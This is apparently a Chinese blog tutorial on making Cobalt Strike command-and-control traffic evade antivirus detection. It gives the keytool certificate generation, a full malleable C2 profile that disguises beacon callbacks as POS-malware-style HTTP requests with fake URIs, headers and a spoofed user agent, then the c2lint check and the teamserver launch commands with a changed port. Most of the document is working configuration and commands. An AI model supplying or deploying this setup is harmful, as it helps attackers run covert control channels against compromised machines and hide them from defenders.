CobaltStrike流量加密
前言
虽然Cobalt Strike流量自带SSL证书, 不过大多数情况下都会被杀软查杀, 因此需要自行配置证书来进行加密
操作步骤
1.生成证书
在kali上使用keytool
生成证书,随后要求输入口令, 此处我设置的口令是qq123456, 口令要记住, 因为后面配置c2.profile文件用得上
后面的内容除了最后一处填写y, 其他的随便填即可, 不过这些信息后面也要填写
keytool -genkey -alias henry -keyalg RSA -validity 36500 -keystore henry.store
-alias和-keystore后面接的参数后面也会用到

2.创建c2.profile文件
#设置样本名字
set sample_name "tryblog POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
set CN "test";
set O "test";
set C "test";
set L "test";
set OU "test";
set ST "test";
set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
set keystore "henry.store";
set password "qq123456";
set alias "henry";
}
#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urltrytryd";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
3.验证c2.profile文件
将创建的c2.profile
和生成的证书文件henry.store
放到Cobalt Strike文件目录中, 随后执行如下命令验证证书
./c2lint c2.profile
4.修改CS团队服务器的默认端口
修改teamserver
文件, 然后将鼠标光标移动至文件末尾, 将默认端口50050修改成其他的, 此处我修改成12345
5.启动CS团队服务器
直接通过cs.profile文件启动CS团队服务器,也可以加个nohup命令在后台启动团队服务器
./teamserver 192.168.47.134 qq123456 ./c2.profile
nohup ./teamserver 192.168.47.134 qq123456 ./c2.profil

参考文章
https://www.nctry.com/1655.html#title-3
https://www.yisu.com/zixun/501167.html
最后更新于